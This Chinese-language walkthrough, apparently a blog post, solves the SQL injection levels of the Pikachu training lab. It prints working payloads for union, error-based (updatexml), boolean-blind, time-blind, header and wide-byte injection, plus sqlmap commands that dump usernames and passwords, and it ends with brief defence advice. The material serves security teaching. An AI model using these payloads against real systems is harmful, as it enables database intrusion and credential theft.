文章目录
- [1. SQL注入(Sql Inject)](#1. SQL注入(Sql Inject))
-
- [1.1 数字型注入(post)](#1.1 数字型注入(post))
- [1.2 字符型注入(get)](#1.2 字符型注入(get))
- [1.3 搜索型注入](#1.3 搜索型注入)
- [1.4 XX型注入](#1.4 XX型注入)
- [1.5 "insert/update"注入](#1.5 "insert/update"注入)
- [1.6 "delete"注入](#1.6 "delete"注入)
- [1.7 HTTP头注入](#1.7 HTTP头注入)
- [1.8 盲注(base on boolian)](#1.8 盲注(base on boolian))
-
- [1.8.1 ASCII试探](#1.8.1 ASCII试探)
- [1.8.2 SqlMap工具注入](#1.8.2 SqlMap工具注入)
- [1.9 盲注(base on time)](#1.9 盲注(base on time))
- [1.10 宽字节注入](#1.10 宽字节注入)
- [1.11 SQL注入漏洞防御](#1.11 SQL注入漏洞防御)
1. SQL注入(Sql Inject)
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
- 对传进SQL语句里面的变量进行过滤,不允许危险字符传入。
- 使用参数化(Parameterized Query 或 Parameterized Statement)。
- 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
1.1 数字型注入(post)
首先在页面中选择一个参数进行查询
使用bp抓包查看
这里采用post方式传递数据,id=1&submit=%E6%9F%A5%E8%AF%A2
,可以确认的是数字型,这里可以直接在bp中修改数据包,也可以使用hackbar。
判断字段个数
id=1 order by 2&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
一共两个字段。
联合查询获取数据
id=1 union select database(),user()&submit=%E6%9F%A5%E8%AF%A2
- database():将会返回当前网站所使用的数据库名字。
- user():将会返回执行当前查询的用户名。
获取到了数据名为pikachu。
获取表名
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
id=1 union select table_name,2 from information_schema.tables where table_schema = 'pikachu'&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
获取到了五张表:httpinfo,member,message,users,xssblind而我们要对users这个表进行破解字段。
获取表中的字段名
id=1 union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
获取到了字段有id,username,password,level。
查看用户名和密码
id=1 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
1.2 字符型注入(get)
输入一个名字查看
发现输入的参数会在URL上显示出来,说明php页面通过get方法传递参数,所以这里不需要抓包。
直接在输入框中执行SQL注入命令。
判断字段个数
lucy' order by 2 #
联合查询获取数据
lucy' union select database(),user()#
获取表名
lucy' union select table_name,2 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy' union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy' union select username,password from users#
1.3 搜索型注入
漏洞分析
搜索型注入,常见是使用like进行查找搜索(模糊匹配),数据库的搜索语句一般是。
sql
select * from 表名 where username like '%$name%'
所以我们可以利用order判断字段数
判断字段个数
lucy%' order by 3#
(%'是闭合前面,#是注释后面)
联合查询获取数据
luc%' union select database(),user(),3#
由于有三个字段,所以要在查询的时候再添加一个查询条件。
获取表名
lucy%' union select table_name,2,3 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy%' union select column_name,2,3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy%' union select username,password,id from users#
1.4 XX型注入
所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等),所以需要找到闭合。
首先输入单引号
推测数据库查询语句为:
sql
select * from users where username=('$name');
判断字段个数
lucy') order by 2 #
联合查询获取数据
lucy') union select database(),user()#
获取表名
lucy') union select table_name,2 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy') union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy') union select username,password from users#
1.5 "insert/update"注入
首先注册一个账号
填写注册信息
点击提交的时候抓包查看
漏洞分析:产生insert/update注入,是因为在用户注册和更新信息的时候存在注入点。
首先分析insert注入:
insert注入存在于用户注册时候的过程,当用户注册新信息并提交服务器的时候,服务端采用insert来将信息插入数据库。
insert语句:
sql
insert into users(username,password)values($username,$password);
update语句:
sql
update users set username=$username,password=$password where username=$username;
漏洞利用
用updatexml()进行报错注入。
updatexml()
是 MySQL 数据库中的一个函数,用于在 XML 字符串中更新指定路径的值。
sqlupdatexml(xml_target, xpath_expr, new_value)
参数解析:
xml_target
:要更新的 XML 字符串或 XML 类型的列。xpath_expr
:XPath 表达式,指定要更新的节点路径。new_value
:String格式,替换查找到的符合条件的数据要替换的新值。注意:
- 如果找不到与给定的 XPath 表达式匹配的节点,
updatexml()
函数将返回 NULL。- 如果在更新节点时遇到错误(例如,无效的 XPath 表达式),函数将抛出错误。
将之前抓包的数据发送到重发器上,在用户名后面输入如下内容:
username=wuhu' and updatexml(1,0x7e,3)and '&password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
可以看到有报错回复。
获取数据库名
username=wuhu' and updatexml(1,concat(0x7e,database()),3)and '&password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
说明: concat(0x7e,database())
,这是一个函数调用,将两个字符串进行连接。其中 0x7e
是波浪号(tilde)的十六进制表示,database()
是一个 SQL 函数,用于返回当前数据库的名称。
获取表名
username=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
说明:
GROUP_CONCAT()
是一个 SQL 聚合函数,用于将多行结果按照指定的顺序连接成一个字符串。
获取字段名
username=123' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
这里推荐使用HackBar,bp看着眼睛疼。
limit 0,1 user_id
limit 1,1 first_name
limit 2,1 last_name
limit 3,1 user
limit 4,1 password
获取用户名和密码
用户名:
username=123' and updatexml(1,concat(0x7e,(select username from users limit 0,1 ),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
密码:
http
username=123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
username=123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 1,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
参数说明:
-
substr():用于从字符串中提取子串。
-
函数原型:
sql
SUBSTR(string, start_position, length)
string
:要提取子串的原始字符串。start_position
:指定子串开始的位置(索引),其中第一个字符的索引为 1。length
:可选参数,指定要提取的子串的长度。
这里密码太长了,分段显示。
1.6 "delete"注入
delete也是利用报错进行sql盲注。
在留言板中随便输入,然后提交
在删掉留言的时候抓包,发现有id,试着利用这个id作一个报错注入。
获取数据库名称
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
获取数据库中的表
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
获取users表中的字段
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)
获取用户名和密码
用户名
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)
密码
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),1)
sh
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select substr(password,17,32) from users limit 0,1),0x7e),1)
1.7 HTTP头注入
登录后页面效果
点击退出进行抓包查看,在下图红框中进行注入
判断闭合
输入单引号,页面报错
后面添加注释
注释掉还报错,考虑前/后闭合。123' and '1
。
获取数据库名
sh
123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1
获取数据库中的表
sh
123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1
获取users表中的字段
sh
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1
获取用户名和密码
用户名
sh
123' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1
密码
sh
123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),1) and '1
sh
123' and updatexml(1,concat(0x7e,(select substr(password,17,32) from users limit 0,1),0x7e),1) and '1
1.8 盲注(base on boolian)
1.8.1 ASCII试探
判断闭合
输入lucy',用户名不存在,然后在后面加上注释
sh
lucy' #
说明是字符型注入。
获取数据库名
lucy' and length(database())=8 #
lucy' and length(database())=7 #
说明数据库名称有7位,接下来就是获取数据库中的每一位是什么了。
按位测试
sh
lucy' and ascii(substr(database(),1,1))=115 # # 第1位p
说明:
-
ascii()
是一个常见的函数或方法名称,用于获取字符的 ASCII 码值。 -
下图中的%23是井号的URL编码。
按照这样的方式反复尝试,获取到数据库名:pikachu
sh
lucy' and ascii(substr(database(),2,1))=105 %23 #第2位i
lucy' and ascii(substr(database(),3,1))=107 %23 #第3位k
lucy' and ascii(substr(database(),4,1))=97 %23 #第4位a
lucy' and ascii(substr(database(),5,1))=99 %23 #第5位c
lucy' and ascii(substr(database(),6,1))=104 %23 #第6位h
lucy' and ascii(substr(database(),7,1))=117 %23 #第6位u
获取数据库表名
sh
lucy' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104 %23
sh
lucy' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2,1))=116 %23
这里通过之前获取到的数据库表名有httpinfo,member,message,users,xssblind。
同样表中的字段,以及用户名和密码,都是以这种盲注的形式来获取的。
1.8.2 SqlMap工具注入
使用sqlmap工具进行输入。
使用bp抓包截取cookie信息
启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap --u '复制的URL' --cookie='复制的cookie' 。
获取数据库名
sh
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" --dbs
获取数据库中的表
sh
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" --tables
获取表中的字段
sh
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" -T "users" --columns
获取用户名和密码
sh
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" -T "users" -C "username,password" --dump
1.9 盲注(base on time)
用sleep() 语句的延时性,以时间线作为判断条件。如果成功执行了,就延时x秒。
判断闭合
kobe' and sleep(5) #
在输入单引号的时候,页面直接刷新成功,在后加上注释,页面延时了5秒,证明闭合方式为单引号。
获取数据库长度
kobe' and if(length(database())=7,sleep(5),1) #
获取数据库名称
kobe' and if(substr(database(),1,1)='p' ,sleep(5),1) #
获取数据库中的第一个表的第一个字母
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104 ,sleep(5),1) #
其他就不在演示,都是相同的道理,主要是太麻烦了。
总结 :时间盲注整体上是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值。而时间盲注,不管正确还是错误都不会返回值,需要依靠延迟来判断。
同样这里可以使用sqlmap工具注入的方式来破解。
1.10 宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。
判断闭合
输入kobe,页面正常显示
接着输入单引号,发现页面报错,抓包查看。
服务器将单引号进行了转义,单引号由原来的'
转换为了\'
,这里面的\
表示5c,那么我们现在可以使用GBK编码,在5c前面添加一个字符,使得该字符与5c组合为一个汉字。(这个字符的范围在[8140,FEFE]之间即可)
我们在前面加上%81就是%81%5c%27,%81%5c会被编码为一个汉字。
kobe%81' or 1=1 #
获取数据库名
http
name=kobe%81' union select table_name,2 from information_schema.tables where table_schema = database()# &submit=%E6%9F%A5%E8%AF%A2
获取users表中的字段名
由于单引号被转义了,所以可以采用十六进制的方式来代替'user'的使用。
http
name=kobe%81' union select column_name,2 from information_schema.columns where table_schema = database() and table_name=0x7573657273 # &submit=%E6%9F%A5%E8%AF%A2
获取用户名和密码
name=kobe%81' union select username,password from users # &submit=%E6%9F%A5%E8%AF%A2
1.11 SQL注入漏洞防御
-
避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。
-
对进入SQL 语句的参数进行足够过滤。
-
部署安全设备比如WAF(web应用安全防火墙)。
-
现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。